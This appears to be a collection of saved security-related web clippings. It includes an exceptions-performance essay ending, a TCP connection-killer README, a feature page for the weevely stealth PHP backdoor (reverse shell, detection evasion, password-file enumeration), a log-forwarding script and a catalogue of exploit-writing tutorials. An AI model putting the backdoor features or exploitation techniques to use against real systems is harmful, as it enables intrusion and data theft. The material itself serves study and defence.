book\!". I smiled. For the remainder of the year I worked there, he never
again challenged my knowledge on a subject. The truth is that this was about
the fourth allocator I had written in my career; since then I have written two
more serious allocators. It continues to amaze me that when I teach my
advanced Windows programming courses, _none_ of the students have a clue as to
how a storage allocator works, or the implications of what "buffer overrun"
can do. They have no clue as to what memory fragmentation is, why C/C++ cannot
really do storage compaction or garbage collection in native mode, and
essentially are totally clueless about how **new** or **malloc** are
implemented. I cover these in two other essays, "**Inside Storage Allocation**
" and "**About Memory Allocators** "\]

## The conclusion

Each of these tests took some time to run. If I wanted to be more precise, I
would run experiments for several hours and compute the mean and standard
deviation of each average cost. But after a few dozen tests \(only a few of
which are shown here\), we begin to get the idea that exceptions have
virtually no cost, even in the low-performance 32-bit world. And the myth is
**_BUSTED\!_**

Note that to measure this one specific phenomenon, I had to disable all kinds
of optimizations that you would not normally disable in the release mode;
however, in a real application, the functions would not be so remarkably
trivial as shown here. The bottom line is that if you want to understand how
_your_ application performs, you had better use a performance measurement
tool, or do your own performance measurement using
**QueryPerformanceCounter**.

# Introduction · Linux Inside

**Created:**| _5/31/2017 6:06:03 PM_  
---|---  
**Updated:**| _5/31/2017 6:06:03 PM_  
**Author:**| __  
**Tags:**| _bookmark Linux kernel_  
  

  

# linux-insides

A book-in-progress about the linux kernel and its insides.

**The goal is simple** \- to share my modest knowledge about the insides of
the linux kernel and help people who are interested in linux kernel insides,
and other low-level subject matter.

**Questions/Suggestions** : Feel free about any questions or suggestions by
pinging me at twitter @0xAX, adding an issue or just drop me an email.

## Support

**Support** If you like ` linux-insides ` you can support me with:

<img src='img/donate-flattr-green.svg' width='84' height='20' alt='Flattr
linux-insides' /> <img src='img/0xAX.svg' width='104' height='20' alt='Support
at gratipay' /> <img src='img/donate-bitcoin-green.svg' width='94' height='20'
alt='Support with bitcoin' /> <img src='img/donate-gitbook-green.svg'
width='98' height='20' alt='Support via gitbook' /> <img src='img/linux-
insides.svg' width='92' height='20' alt='Join the chat at
https://gitter.im/0xAX/linux-insides' />

## On other languages

  * Chinese
  * Spanish
  * Russian
  * Turkish

## LICENSE

Licensed BY-NC-SA Creative Commons.

## Contributions

Feel free to create issues or pull-requests if you have any problems.

**Please readCONTRIBUTING.md before pushing any changes.**

<img src='img/23upobq.jpg.png' width='640' height='352' alt='image' />

## Author

@0xAX

  

# google/tcp\_killer

**Created:**| _7/17/2017 11:35:22 AM_  
---|---  
**Updated:**| _7/17/2017 11:35:22 AM_  
**Author:**| __  
**Tags:**| _network-security incident response_  
  

  

# tcp\_killer

Shuts down a TCP connection on Linux or macOS. Local and remote endpoint
arguments can be copied from the output of 'netstat -lanW'.

The functionality offered by _tcp\_killer_ is intended to mimic TCPView's
"Close Connection" functionality and tcpdrop's functionality on Linux and
macOS.

## Basic Usage

` python tcp_killer.py [-verbose] <local endpoint> <remote endpoint> `

Arguments:

[code]

    -verbose           Show verbose output
    <local endpoint>   Connection's local IP address and port
    <remote endpoint>  Connection's remote IP address and port
    
[/code]

Examples:

[code]

    tcp_killer.py 10.31.33.7:50246 93.184.216.34:443
    tcp_killer.py 2001:db8:85a3::8a2e:370:7334.93 2606:2800:220:1:248:1893:25c8:1946.80
    tcp_killer.py -verbose [2001:4860:4860::8888]:46820 [2607:f8b0:4005:807::200e]:80
    
[/code]

## Full Example

[code]

    geffner@ubuntu:~$ # Create a server to listen on TCP port 12345
    geffner@ubuntu:~$ nc -d -l -p 12345 &
    [1] 135578
    
    geffner@ubuntu:~$ # Connect to the local server on TCP port 12345
    geffner@ubuntu:~$ nc -v -d localhost 12345 &
    [2] 135579
    Connection to localhost 12345 port [tcp/*] succeeded!
    
    geffner@ubuntu:~$ # Find the connection endpoints
    geffner@ubuntu:~$ netstat -lanW | grep 12345.*ESTABLISHED
    tcp        0      0 127.0.0.1:33994         127.0.0.1:12345         ESTABLISHED
    tcp        0      0 127.0.0.1:12345         127.0.0.1:33994         ESTABLISHED
    
    geffner@ubuntu:~$ # Kill the connection by copying and pasting the output of netstat
    geffner@ubuntu:~$ python tcp_killer.py 127.0.0.1:33994         127.0.0.1:12345
    TCP connection was successfully shutdown.
    [1]-  Done                    nc -d -l -p 12345
    [2]+  Done                    nc -v -d localhost 12345
    
[/code]

## Dependencies

### lsof

This program uses lsof to find the process and socket file descriptor
associated with a given TCP connection.

lsof can be installed via your package management system \(for example, ` sudo
apt-get install lsof `\).

### frida

This program uses the frida framework to perform code injection.

Frida can be installed as follows: ` sudo pip install frida `

## Disclaimer

This is not an official Google product.

  

# weevely - Stealth tiny php backdoor - Google Project Hosting

**Created:**| _1/3/2012 4:11:35 PM_  
---|---  
**Updated:**| _1/3/2012 4:11:35 PM_  
**Author:**| __  
**Tags:**| _post-exploitation php_  
  

## Generate and manage hardly detectable PHP trojans

## New version 0.5 is OUT\!

#### Download tar archive or BackBox/Ubuntu/Debian package. A brief article
about version 0.5 changes is disponible on dissecting blog.

Weevely is an unobtrusive PHP backdoor that simulate telnet-like connection.
It is an essential tool for application web attack post exploitation or web
hosting account management. With a basic permission to upload PHP files, just
generate and upload the "server" PHP code on the target, and run Weevely
client locally to transmit shell commands.

  * Backdoor communications are hidden in Cookie requests 
  * Communications are encoded using NIDS evasion techniques \(any request is randomly obfuscated to bypass signature detection\) 
  * Backdoor PHP code is randomly obfuscated to hide common backdoor functions \(base64\_decode, rot13, strrev, ...\) 
  * Modular architecture have more than 20 modules for every kind of maintain access/post exploit task 
  * Modules implement different techniques to accomplish single tasks to mitigate disabled\_functions, safe\_mode and other PHP restrictions 

#### Weevely is included in BackBox, BackTrack, Blackbuntu penetration testing
Linux distributions.

### Main modules

  * **:shell.` *`** System/PHP command execution 
  * **:file.upload** Upload files to the target filesystem 
  * **:file.download** Download files from the target filesystem 
  * **:sql.console** Console to browse remote SQL database 
  * **:sql.dump** Utility to dump remote SQL database to recreate locally 
  * **:audit.user\_files** Enumerate common restricted user files 
  * **:audit.users** Enumerate /etc/passwd entries using different techniques 
  * **:find.` *`** Find files by name, permissions, suid/sgid flag 
  * **:backdoor.reverse\_tcp** Reverse TCP shell 
  * **:enum.users** Enumerate users or /etc/passwd content 
  * **:system.info** Collect system informations 

PHP backdoor does not require additional library. **Do not use this program on
third part servers.**  
---

# Room362.com - Mubix Links - Prison Break – The Metasploit Saga

**Created:**| _1/21/2010 5:57:01 PM_  
---|---  
**Updated:**| _1/21/2010 5:57:15 PM_  
**Author:**| __  
**Tags:**| _bookmark video ToWatch_  
  

  * Blog
  * About Us
  * Scripts and Programs
  * Mubix Links
  * USB Tools
  * Reading List

  

<img src='img/Temp2_7015.png' alt='Room362.com' />

  * Blog
  * About Us
  * Scripts and Programs
  * Mubix Links
  * USB Tools
  * Reading List

  

Top

  * Blog
  * About Us
  * Scripts and Programs
  * Mubix Links
  * USB Tools
  * Reading List

Search

## Search

  

Subscribe

## Subscribe

Subscribe by Email

<img src='img/Temp2_7009.png' width='104' height='17' alt='Add to Google
Reader or Homepage' />

  * Blog RSS
  * Mubix Links RSS

Social Media - Mubix

## Social Media

  * Twitter
  * FriendFeed
  * Vimeo
  * Facebook

<img src='img/Temp2_7012.png' width='50' height='15' />  

This is a Flickr badge showing public photos and videos from mubix. Make your
own badge here.

Login

  * Login

« DirChex | Main | Winquisitor »
Thursday

21Jan2010

## Prison Break – The Metasploit Saga

<img src='img/Temp2_7014.png' alt='Date' />Thursday, January 21, 2010 at
11:06AM

A great video on using Metasploit and Meterpreter to beat the Prison Break
challenge from EthicalHacker.net

Plus, check out his other great videos as well\!

Metasploit meterpreter Windump/Winpcap sniffer from siles on Vimeo.

<img src='img/Temp2_7014.png' alt='Author' />Rob Fuller | <img src='img/Temp2_7014.png' alt='Comment' />Post a Comment | <img src='img/Temp2_7014.png' alt='Share Article' />Share Article
<img src='img/Temp2_7010.png' alt='Print' />View Printer Friendly Version

<img src='img/Temp2_7008.png' alt='Email' />Email Article to Friend

### Reader Comments

There are no comments for this journal entry. To create a new comment, use the
form below.

### <img src='img/Temp2_7013.png' alt='Post' />Post a New Comment

Enter your information below to add a new comment.  
  
My response is on my own website »

Author: \(forget stored information\)

Author Email \(optional\):

Author URL \(optional\):

Post:

↓ | ↑
Some HTML allowed: <a href="" title=""> <abbr title=""> <acronym title=""> <b>
<blockquote cite=""> <code> <em> <i> <strike> <strong>

<img src='img/Temp2_7016.png' alt='Alert' />

**Comment Moderation Enabled**  
Your comment will not appear until it has been cleared by a website editor.

### <img src='img/Temp2_7017.png' alt='Post' />Link an External Response

Have a response on your own site? You can either use the \[Trackback URL\] for
this entry, or link to your response directly.  
  
I want to leave a comment directly on this site »

Article Title:

Article URL:

Article Excerpt \(optional\):

Site Name:

Site URL \(optional\):

Author Name:

<img src='img/Temp2_7016.png' alt='Alert' />

**References will be subject to editor approval before appearing.** Your
reference will not appear until it has been cleared by a website editor.

<img src='img/Temp2_7011.png' alt='Creative Commons License' />  
This work is licensed under a Creative Commons License.

# Feeding DShield with OSSEC Logs « /dev/random

**Created:**| _7/16/2011 12:53:47 PM_  
---|---  
**Updated:**| _7/16/2011 12:53:47 PM_  
**Author:**| __  
**Tags:**| _security tools Logs_  
  

# Feeding DShield with OSSEC Logs

<img src='img/Temp2_3135.gif' width='79' height='114' alt='DShield Logo' />
The primary goal of a log management solution is to receive events from
multiple sources, to parse and to make them available for multiple purposes:
searching, alerting and reporting. But why not send some interesting events to
another log management system or application? Usually, some **inputs** are
added in the log management environment like IP addresses blacklists, list of
vulnerabilities, etc. But we can also generated some interesting **outputs**.
By receiving data from multiple systems, it is possible to extract even more
interesting stuffs. That’s what does dshield.org for years\! Dshield is a
service operated by the Internet Storm Center \(ISC\). Many volunteers from
all around the world feed a huge database with events collected from systems
like firewalls, routers, IDS etc. Based on this information, reports are
generated and valuable content to be re-used in log management or SIEM
environments; the loop is complete\! <img src='img/Temp2_3136.gif' alt=';-)'
/> Once you created an account, you can install a client which will collect
your logs and send them at regular interval to dshield.org. Clients are
available for the common types of firewalls. But what if you already collect
your firewall logs via a log management tool \(like OSSEC – just an example\)?
Why install a second client or agent? Once logs collected and centralized, why
not send your logs directly from OSSEC? Dshield describes how to write your
own client. The format is quite simple. So I write a small Perl script which
works as described in the following schema: <img src='img/Temp2_3134.gif'
width='300' height='139' alt='OSSEC-DShield' /> It read the OSSEC firewall.log
file and generate events in Dshield format. The script syntax is simple:

[code]

      $ ossec2dshield.pl --log=file --userid=dshieldid
                         --statefile=file --from=email
                         --mta=hostname [--help] [--debug]
                         [--test] [--obfusctate]
                         [--ports=port1,port2,...]
      Where:
      --help                   : This help
      --debug                  : Display processing details to stdout
      --test                   : Test only, do not mail the info to dshield.org
      --obfuscate              : Obfuscate the destination address (10.x.x.x)
      --ports=port1,!port2,... : Filter destination ports ex: !25,!80,445,53
      --log=file               : Your OSSEC firewall.log
      --userid=dshieldid       : Your dshield.org UserID (see http://www.dshield.org)
      --statefile=file         : File to write the state of log processing
      --from=email             : Your e-mail address (From:)
      --mta=hostname           : Your Mail Transfer Agent (to send mail to dshield.org)
[/code]

Example:

[code]

     $ ./ossec2dshield.pl --log=/ossec/logs/firewall/firewall.log
                          --statefile=/ossec/logs/firewall/firewall.log.state
                          --userid=12345
                          --from=user@domain.com
                          --mta=localhost
                          --ports="!80,!443"
[/code]

You will need your dshield.org UserID, a mail relay \(MTA\). Very important,
the state file will contain the timestamp of the last processed event. This
prevents events to be sent twice to dshield.org. Once processed, the data will
be submitted to register\(at\)dshield\(dot\)org. Using “ _–port_ “, you can
exclude or restrict to some interesting ports. Example: “
_–port=’\!80,\!22,\!443′_ ” will report all blocked firewall traffic except
for the destination ports 80, 22 and 443. There are multiple advantages to use
the OSSEC firewall log:

  * You don’t need extra piece of software installed on the firewalls.
  * You don’t need to send data to the Internet from the firewalls.
  * You don’t need multiple clients, your logs are already processed and normalized by OSSEC.

The current script is not so powerful as the regular Dshield clients but it
works. If you have ideas or suggestion, contact me. \(Note: Your OSSEC must be
properly configured to collect and store firewalls logs. Check out the OSSEC
documentation for more details about this setup\) The script is available here
in github.com. Feel free to re-use my code or to add features.  
---

# Exploitation - it-sec-catalog - References to vulnerability exploitation
stuff. - Gathering references to IT-security related stuff. - Google Project
Hosting

**Created:**| _5/15/2011 7:43:11 PM_  
---|---  
**Updated:**| _5/15/2011 7:43:11 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

## 1\. How to use this wiki

 _... or several advices for beginners_

### 1.1. Required knowledge

At least the basic knowledge of assembly, OS internals, C/C++ language are
needed to get the most value from this wiki. Also you will need to know how to
work with tools like debugger, disassembler, etc. Knowledge of some scripting
language \(like Python, Perl, Ruby\) will help to develop exploits faster and
some handy tools you might need. Tutorials works just like a glue that ties
together theoretical knowledge and gives you a boost in practical usage. Links
that covers these requirements are not listed here - it is assumed that you
will find them yourself, this is exploitation wiki. However, you can look for
what you need to get required knowledge here: "From 0x90 to 0x4c454554, a
journey into exploitation".

### 1.2. What to start with

Most simple vulnerabilities from the point of view of exploitation are stack-
based buffer overflows. Obviously, for novice exploit writers this is good
start point. Peter Van Eeckhoutte's \(corelanc0d3r\) series of tutorials are
right thing to start with - those structure is well-formed, explained step-by-
step and covers most exploitation topics starting from those easy, continuing
with more and more complex. Another great reading that definitely will help
novice exploit writers to warm up is the "Smashing the stack in 2010" by
Andrea Cugliari and Mariano Graziano. This papers covers both Windows and
Linux environments, explains assembly, and contains real-world vulnerabilities
exploitation examples. And for all those who are assuming long prospective
roadmap: "How do I become a Ninja?".

### 1.3. Actual and outdated topics

Keep in mind that old articles \(or new, that focused on old OS\) might
confuse you. In recent years there had appeared several mitigation techniques
across the OS's, different kernel changes were applied, API's were broadened,
etc. So, just be careful when trying to reproduce tutorial steps. Most likely,
you will need to disable mitigations or setup some older operating system to
make your exploits work. It is worth to go through the section "Timeline and
history" first. Another suggestion for beginners in the field of exploitation
- do not hurry with covering complex topics like ALSR, DEP bypassing, heap
exploitation, etc. Is is better to devote time for learning that what is
mentioned in subject **1.1** and follow tutorials. Introducing new obstacles
step by step is good strategy not only in learning, but in overall exploit
development.

### 1.4. Types of references

As you might have noticed, in table there is a column called _Type_. Those
types means following:

  * **Tutorial** \- explanation of subject in detail, with real vulnerability examples; 
  * **Article** \- explanation of subject in detail, more theoretically-oriented; 
  * **Blog post** \- brief explanation of subject, might include subjective opinion; 

All other types should be clear from their names. Sometimes references points
directly to downloadable PDF files, those links are in _italic_.

### 1.5. About classification

Sometimes it is hard to determine where to put the reference in. It happens
because topic can cover multiple items at once. However, references are placed
under the category where the author wanted to make attention to.

## 2\. Exploiting vulnerabilities

### 2.1. Stack overflow

CWE-121: Stack-based Buffer Overflow |  **Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch** |  **Info**  
---|---|---|---|---|---|---  
1 |  http://blogs.securiteam.com/index.php/archives/638 |  Heap Spraying: Exploiting Internet Explorer VML 0-day |  23-09-2006 |  Tutorial |  Windows, x86-32 |  CVE-2006-4868  
2 |  _http://www.i-hacked.com/freefiles/EasyChat\_SEH\_exploit\_v1.3.pdf _ |  Understanding SEH \(Structured Exception Handler\) Exploitation |  06-07-2009 |  Article |  Windows, x86-32 |  CVE-2004-2466  
3 |  http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ |  Exploit writing tutorial part 1 : Stack Based Overflows |  19-07-2009 |  Tutorial |  Windows, x86-32 |  EDB-ID-9177  
4 |  http://www.corelan.be:8800/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/ |  Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode |  23-07-2009 |  Tutorial |  Windows, x86-32 |  N/A   
5 |  http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/ |  Exploit writing tutorial part 3 : SEH Based Exploits |  25-07-2009 |  Tutorial, video |  Windows, x86-32 |  N/A   
6 |  http://www.corelan.be:8800/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/ |  Exploit writing tutorial part 3b : SEH Based Exploits – just another example |  28-07-2009 |  Tutorial |  Windows, x86-32 |  EDB-ID-9298  
7 |  http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html |  SEH Stack Based Buffer Overflow Tutorial |  07-01-2010 |  Tutorial |  Windows, x86-32 |  OSVDB-61386  
8 |  http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html |  Stack Based Buffer Overflow Tutorial |  07-01-2010 |  Tutorial |  Windows, x86-32 |  CVE-2004-2271  
9 |  http://www.phreedom.org/research/vulnerabilities/ani-header/ |  Windows ANI header buffer overflow |  29-03-2010 |  Article, slides, video |  Windows, x86-32 |  CVE-2007-0038  
10 |  http://www.ethicalhacker.net/content/view/309/2/ |  Tutorial: SEH Based Exploits and the Development Process |  04-05-2010 |  Tutorial |  Windows, x86-32 |  OSVDB-62779  
11 |  _https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=1tioiVT1jjM-xCzYc-2EPTcATOZ07gUcMshqKf8GHNp47vLvn5yT7wprAUpkb&hl=en _ |  Debugging an SEH 0day |  29-05-2010 |  Tutorial \(PDF\) |  Windows, x86-32 |  CVE-2010-0688  
12 |  http://www.offensive-security.com/vulndev/evocam-remote-buffer-overflow-on-osx/ |  Evocam Remote Buffer Overflow on OSX |  04-06-2010 |  Tutorial |  Mac OS X \(Leopard 10.5.8\), x86-32 |  CVE-2010-2309  
13 |  http://turkeyland.net/projects/overflow/index.php |  Buffer Overflows and You |  04-08-2010 |  Article |  Linux x86-64 |  N/A   
14 |  http://www.vupen.com/blog/20100909.Adobe\_Acrobat\_Reader\_0\_Day\_Exploit\_CVE-2010-2883\_Technical\_Analysis.php |  Criminals Are Getting Smarter: Analysis of the Adobe Acrobat / Reader 0-Day Exploit |  09-09-2010 |  Article |  Windows, x86-32 |  CVE-2010-2883  
15 |  http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/ |  Bypassing UAC with User Privilege under Windows Vista/7 – Mirror |  26-11-2010 |  Article, video |  Windows, x86-32 |  CVE-2010-4398  
16 |  http://resources.infosecinstitute.com/in-depth-seh-exploit-writing-tutorial-using-ollydbg/ |  In-Depth SEH Exploit Writing Tutorial Using OllyDbg |  28-02-2011 |  Tutorial |  Windows, x86-32 |  N/A   
17 |  http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-%E2%80%94-introduction/ |  Stack Based Buffer Overflow Tutorial, part 1 — Introduction |  09-03-2011 |  Tutorial |  Windows, x86-32 |  N/A   
18 |  http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-%E2%80%94-exploiting-the-stack-overflow/ |  Stack Based Buffer Overflow Tutorial, part 2 — Exploiting the stack overflow |  09-03-2011 |  Tutorial |  Windows, x86-32 |  N/A   
19 |  http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-3-%E2%80%94-adding-shellcode/ |  Stack Based Buffer Overflow Tutorial, part 3 — Adding shellcode |  09-03-2011 |  Tutorial |  Windows, x86-32 |  N/A   
### 2.2. Heap overflow

CWE-122: Heap-based Buffer Overflow

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch** |  **Info**  
---|---|---|---|---|---|---  
1 |  http://immunitysec.com/resources-papers.shtml \(part 1\) \(part 2\) |  Exploiting the MSRPC Heap Overflow |  11-09-2003 |  Tutorial \(PDF\) |  Windows, x86-32 |  CVE-2003-0352  
2 |  http://www.h-online.com/security/features/A-Heap-of-Risk-747161.html |  A heap of risk: Buffer overflows on the heap and how they are exploited |  28-06-2006 |  Article |  Windows, x86-32 |  N/A   
3 |  _http://securityevaluators.com/files/papers/isewoot08.pdf _ |  Engineering Heap Overﬂow Exploits with JavaScript |  08-09-2008 |  Article \(PDF\) |  \- |  N/A   
4 |  _http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf _ |  Practical Windows XP/2003 Heap Exploitation |  xx-07-09 |  Article \(PDF\) |  Windows, x86-32 |  N/A   
5 |  http://crazylazy.info/blog/content/0x41-weekly-exploitation-matters-heap-overflow-fundamentals |  0x41 - weekly exploitation matters - Heap overflow fundamentals |  23-03-2010 |  Tutorial |  Windows, x86-32 |  CVE-2009-4324  
6 |  http://grey-corner.blogspot.com/2010/03/difference-between-heap-overflow-and.html |  The Difference Between Heap Overflow and Use After Free Vulnerabilities |  31-03-2010 |  Article |  \- |  N/A   
7 |  http://blogs.cisco.com/security/comments/exploring\_heap-based\_buffer\_overflows\_with\_the\_application\_verifier/ |  Exploring Heap-Based Buffer Overflows with the Application Verifier |  29-03-2010 |  Article |  Windows, x86-32 |  N/A   
8 |  http://blogs.iss.net/archive/RequiredReading.html |  Heap Cache Exploitation - White Paper by IBM Internet Security Systems |  xx-07-2010 |  Article |  Windows, x86-32 |  N/A   
9 |  _https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=1PTTfr695bNBqE2jxdP5MlZD4qEFec9I0S2mzfHvFw5S13c-rZtM9rxgs\_kp-&hl=en _ |  Heap Overflows For Humans – 101 |  24-10-2010 |  Article \(PDF\) |  Windows, x86-32 |  N/A   
10 |  http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ |  When A DoS Isn't A DoS |  16-12-2010 |  Tutorial |  Windows, x86-32 |  OSVDB-69796  
11 |  http://www.vupen.com/blog/20101221.Exim\_string\_vformat\_Remote\_Overflow\_Analysis\_CVE-2010-4344.php |  Technical Analysis of Exim "string\_vformat\(\)" Buffer Overflow Vulnerability |  21-12-2010 |  Article |  Linux x86-32 |  CVE-2010-4344  
12 |  http://www.breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept/ |  From Patch to Proof-of-Concept: MS10-081 |  10-01-2011 |  Tutorial |  Windows, x86-32 |  CVE-2010-2746  
13 |  http://vreugdenhilresearch.nl/ms11-002-pwn2own-heap-overflow/ |  MS11-002 Pwn2Own heap overflow |  12-01-2011 |  Blog post, Article \(PDF\) |  Windows, x86-32 |  CVE-2011-0027  
### 2.3. Data type issues

CWE-682: Incorrect Calculation, CWE-704: Incorrect Type Conversion or Cast

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **Info**  
---|---|---|---|---|---  
1 |  http://blogs.msdn.com/b/oldnewthing/archive/2004/01/29/64389.aspx |  Integer overflow in the new operator |  01-29-2004 |  Article |  N/A   
2 |  http://www.fefe.de/intof.html |  Catching Integer Overflows in C |  01-26-2007 |  Article |  N/A   
3 |  http://projects.webappsec.org/Integer-Overflows |  Integer Overflows |  xx-01-2010 |  Article |  N/A   
4 |  https://www.securecoding.cert.org/confluence/display/seccode/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow |  INT32-C. Ensure that operations on signed integers do not result in overflow |  09-09-2010 |  Article |  N/A   
### 2.4. Format string injection

CWE-134: Uncontrolled Format String

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **Info**  
---|---|---|---|---|---  
1 |  _https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B64ViR5GhSKIYWFmODIyY2UtMGNjOS00MGIyLWFhZDAtNWVmNjFlMjJhZjg2&hl=en _ |  Windows 2000 Format String Vulnerabilities |  01-05-2001 |  Article \(PDF\) |  N/A   
2 |  _http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf _ |  Exploiting Format String Vulnerabilities |  01-09-2001 |  Article \(PDF\) |  N/A   
3 |  http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/ |  Format string exploitation on windows |  02-02-2009 |  Article \(PDF\) |  N/A   
4 |  http://infond.blogspot.com/2010/07/tutorial-exploitation-format-string.html |  Tutorial exploitation format string |  30-07-2010 |  Article |  N/A   
5 |  _https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=1kS09rUfzbUduLk6GLj16J3FsKoHRZDE84vAXxw\_1G5T\_hV2-1Chq6k9LYkV5&hl=en _ |  Format strings, from %x to calc |  24-10-2010 |  Article \(PDF\) |  N/A   
### 2.5. Pointer issues

CWE-465: Pointer Issues, CWE-415: Double Free, CWE-476: NULL Pointer
Dereference

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch** |  **Info**  
---|---|---|---|---|---|---  
1 |  http://www.symantec.com/ \(part 1\) \(part 2\) |  Double Free Vulnerabilities |  19/22-01-2007 |  Article |  Windows XP SP2, x32 |  N/A   
2 |  http://www.theregister.co.uk/2007/06/13/null\_exploit\_interview/ |  Embedded problems: exploiting NULL pointer dereferences |  13-06-2007 |  Interview |  ARM, XScale |  N/A   
3 |  http://searchsecurity.techtarget.com.au/news/2240019328/QA-Mark-Dowd-on-NULL-pointer-dereference-bugs |  Q&A: Mark Dowd on NULL pointer dereference bugs |  02-05-2008 |  Transcript |  \- |  N/A   
4 |  http://blogs.iss.net/archive/cve-2008-0017.html |  What You May Have Missed About CVE-2008-0017: A Firefox NULL Dereference Bug |  26-11-2008 |  Article |  Windows, x86-32 |  CVE-2008-0017  
5 |  http://blog.ksplice.com/2010/04/exploiting-kernel-null-dereferences/ |  Much ado about NULL: Exploiting a kernel NULL dereference |  13-04-2010 |  Article |  Linux, x86 |  N/A   
6 |  http://www.vupen.com/blog/20101018.Stuxnet\_Win32k\_Windows\_Kernel\_0Day\_Exploit\_CVE-2010-2743.php |  Technical Analysis of the Windows Win32K.sys Keyboard Layout Stuxnet Exploit |  18-10-2010 |  Article |  Windows, x86-32 |  CVE-2010-2743  
7 |  http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html |  Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability |  24-01-2010 |  Tutorial |  Windows, x86-32 |  CVE-2010-0249  
### 2.6. Other cases

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch** |  **Info**  
---|---|---|---|---|---|---  
1 |  http://jon.oberheide.org/blog/2010/09/10/linux-kernel-can-slub-overflow/ |  Linux Kernel CAN SLUB Overflow |  27-11-2010 |  Article |  Linux |  CVE-2010-2959  
2 |  http://jon.oberheide.org/blog/2010/11/29/exploiting-stack-overflows-in-the-linux-kernel/ |  Exploiting Stack Overflows in the Linux Kernel |  29-11-2010 |  Article |  Linux |  N/A   
## 3\. Mitigations and other obstacles

### 3.1. Resolving character issues

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch** |  **Info**  
---|---|---|---|---|---|---  
1 |  http://www.corelan.be:8800/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/ |  Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc |  06-11-2009 |  Tutorial |  Windows, x86-32 |  OSVDB-66912  
2 |  http://grey-corner.blogspot.com/2010/01/windows-buffer-overflow-tutorial.html |  Windows Buffer Overflow Tutorial: Dealing with Character Translation |  17-01-2010 |  Tutorial |  Windows, x86-32 |  OSVDB-59772  
3 |  http://www.abysssec.com/blog/2010/03/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/ |  Ken Ward Zipper Stack BOF 0day – a not so typical SEH exploit |  18-03-2010 |  Tutorial |  Windows, x86-32 |  OSVDB-63125  
4 |  http://www.corelan.be:8800/index.php/2010/03/27/exploiting-ken-ward-zipper-taking-advantage-of-payload-conversion/ |  Exploiting Ken Ward Zipper : Taking advantage of payload conversion |  27-03-2010 |  Tutorial |  Windows, x86-32 |  N/A   
5 |  http://www.corelan.be:8800/index.php/2010/03/27/quickzip-stack-bof-0day-a-box-of-chocolates/ |  QuickZip Stack BOF 0day: a box of chocolates \(2 parts\) |  27-03-2010 |  Tutorial |  Windows, x86-32 |  N/A   
6 |  _https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=1U1cGztE8e08ALZuGjSFRemHW5dhZ01YT1ab-ShCKOd5E82X62T82l7eQt2fb&hl=en _ |  Unicode, the magic of exploiting 0×00410041 |  29-05-2010 |  Tutorial \(PDF\) |  Windows, x86-32 |  CVE-2009-2225  
7 |  http://www.exploit-db.com/winamp-5-58-from-dos-to-code-execution/ |  Winamp 5.58 from Denial of Service to Code Execution |  20-10-2010 |  Tutorial |  Windows, x86-32 |  OSVDB-68645  
8 |  http://www.exploit-db.com/winamp-exploit-part-2/ |  Winamp 5.58 from Denial of Service to Code Execution Part 2 |  02-11-2010 |  Tutorial |  Windows, x86-32 |  OSVDB-68645  
### 3.2. Overcoming mitigations

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch** |  **Info**  
---|---|---|---|---|---|---  
1 |  http://www.uninformed.org/?v=2&a=4 |  Bypassing Windows Hardware-enforced Data Execution Prevention |  02-10-2005 |  Article |  Windows, x86-32 |  OSVDB-875  
2 |  http://www.symantec.com/connect/articles/new-way-bypass-windows-heap-protections |  A new way to bypass Windows heap protections |  31-08-2005 |  Article |  Windows XP SP2, x86-32 |  N/A   
3 |  http://cseweb.ucsd.edu/~hovav/papers/s07.html |  The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls \(on the x86\) |  xx-10-2007 |  Article \(PDF\) |  x86 |  N/A   
4 |  http://www.sophsec.com/research/aslr\_research.html |  Attacking ASLR on Linux 2.6 |  27-05-2009 |  Article |  Linux |  N/A   
5 |  _http://www.packetstormsecurity.org/papers/bypass/bypass-dep.pdf _ |  Bypassing hardware based DEP on Windows Server 2003 SP2 |  10-06-2009 |  Tutorial \(PDF\) |  Windows, x86-32 |  N/A   
